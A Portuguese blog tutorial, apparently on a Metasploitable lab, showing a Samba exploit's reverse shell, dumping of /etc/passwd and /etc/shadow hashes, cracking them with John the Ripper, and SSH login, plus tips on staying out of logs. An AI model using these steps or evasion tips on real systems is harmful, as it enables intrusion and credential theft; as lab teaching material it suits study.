quarta-feira, 15 de maio de 2013

E ai pessoal!

Hoje vamos ver algo que muitos me pediram ou tem algumas dúvidas de como usar as tools ou coisa parecida. Esse tutorial é para pós exploração, quando você já tem acesso a máquina…


O que vamos precisar

  • Qualquer distro para pentest ou SO Unix com as ferramentas instaladas
  • Acesso a máquina alvo
  • John The Ripper


Obtendo acesso




Antes de mostrar como quebrar as senhas do linux vou conseguir acesso a máquina explorando uma falha no samba. Já fiz um tuto sobre essa falha aqui!

msf exploit(usermap_script) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo BZcpU6tgARSjchMN;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: “BZcpU6tgARSjchMN\r\n”
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.1.7:4444 -> 192.168.1.8:53980) at 2012-10-14 12:45:15 -0300

Ok! Já temos acesso, você pode rodar alguns comandos como uname -a, whoami e pwd para confirmar.


Obtendo os hashs




Primeiramente, você tem que ter acesso a um user que tenha permissão para listar os arquivos passwd e shadow, dentro de /etc. Teste alguns exploits ou até mesmo uma escalada de privilégios, caso contrário, não conseguirá os hashs. Ai surge uma pergunta, se eu tenho privilégios suficientes para tal coisa para que obter e quebrar as senhas? Simples, em algumas auditorias isso é tudo o que você precisa. Caso isso não seja suficiente pense comigo, o que mais duvidoso, uma porta recebendo conexões que não deveria ou uma conexão SSH? Pois é, em muitos casos, as conexões SSH não levantam suspeitas e você pode continuar “brincando” livremente.

Ok, vamos estão pegar esses arquivos! Existem muitos modos de conseguir, desde que tenha as permissões, muitos copiariam os dois arquivos e depois de algum modo passariam para sua máquina para quebrar as senhas offline. Eu acredito que isso seja muito “ruidoso” e que vai ficar muito aparente nos logs. O que você pode fazer é listar o conteúdo dos arquivos e gravar a saída do terminal localmente com comandos como o tee ou o script.

Mãos à obra! Antes de rodar o exploit eu usei o comando script, ele vai capturar tudo que aparecer no terminal. depois de conseguir o acesso eu listei o conteúdo dos dois arquivos:
cat /etc/passwd
oot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
joe:x:1003:1003:Joe,,,:/home/joe:/bin/bash
victim:x:1004:1005:Clavis,,,:/home/clavis:/bin/bash
cat /etc/shadow
root:$1$Knm31V1T$cLFPGP8HenkcDP.E0rwbL/:15495:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$VKjqk8uc$WYQAzmXPhEGmHhfZ733fK0:15404:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
joe:$1$Vvi6ZruI$iaOQt1WtESkYMrAwimkBe.:15495:0:99999:7:::
victim:$1$DOTbpoe/$yRwXcd4gfLypMf5iknDhu/:15495:0:99999:7:::

Prontinho! Depois de pegar os conteúdos já podemos terminar a sessão.


Quebrando as senhas


Agora que temos os conteúdos, separe a saída do terminal em dois arquivos, um contendo somente a saída do cat /etc/passwd e outro com a saída do cat /etc/shadow. Chamarei esses arquivos de passwords e shadow, respectivamente. Agora com os arquivos, vamos usar o John para quebrar.

root@bt:~# cd /pentest/passwords/john
root@bt:/pentest/passwords/john# ls
all.chr hccap2john mkvcalcproba relbench
alnum.chr john netntlm.pl sap2john.pl
alpha.chr john.bash_completion netscreen.py sha-dump.pl
benchmark-unify john.conf odf2john.py sha-test.pl
calc_stat john.local.conf pass_gen.pl sipdump2john.py
cracf2john.py john-x86-any password.lst ssh2john
dictionary.rfc2865 john-x86-mmx pdf2john stats
digits.chr john-x86-sse2 pwsafe2john tgtsnarf
doc keepass2john racf2john unafs
dumb16.conf lanman.chr radius2john.pl undrop
dumb32.conf ldif2john.pl rar2john unique
dynamic.conf lion2john-alt.pl raw2dyna unshadow
genincstats.rb lion2john.pl README zip2john
genmkvpwd mailer README-jumbo

Para facilitar, marquei em vermelho o que vamos usar. Primeiro de tudo temos que juntar os 2 arquivos, para ficar num formato que o John conheça como arquivo de senhas unix. Para isso que serve o comando unshadow. Precisamos apenas informar o arquivo passwd e o shadow, e redirecionar para um terceiro arquivo, esse terceiro arquivo que será usado para quebrar.

root@bt:/pentest/passwords/john# ./unshadow /root/Desktop/passwords.txt /root/Desktop/shadow.txt > /root/Desktop/cracked.txt

Olhe se o arquivo cracked.txt foi realmente criado e vamos para o john quebrar essas senhas.

./john /root/Desktop/cracked.txt
Loaded 9 passwords hashes with 9 diferent salts (FreeBSD MD5 [128/128 SSE2 intrinsics 4x])
Remaining 2 password hashes with 2 diferent salts

No meu caso apareceu Remaining 2, quer dizer que 7 ele ja quebrou. Agora vamos ver o resultado.
./john –show /root/Desktop/cracked.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:user:1001:1001:just a user,111,,:/home/user:/bin/bash
service:service:1002:1002:,,,:/home/service:/bin/bash
joe:zxcvbnm:1003:1003:Joe,,,:/home/joe:/bin/bash
7 password hashes cracked, 2 left

Temos ai alguns usuários, podemos testar eles tentando logar pelo SSH:

ssh -l msfadmin 192.168.1.8
The authenticity of host ’192.168.1.8 (192.168.1.8)’ can’t be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ’192.168.1.8′ (RSA) to the list of known hosts.
msfadmin@192.168.1.8′s password:
Linux victim 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Mon Jun 4 12:10:55 2012 from 10.10.3.32
msfadmin@victim:~$

Funcionou! Temos um meio de logar no alvo sem chamar muita atenção.

E eu fico por aqui! Bons estudos

0 comentários:

Postar um comentário

Subscribe to RSS Feed Follow me on Twitter!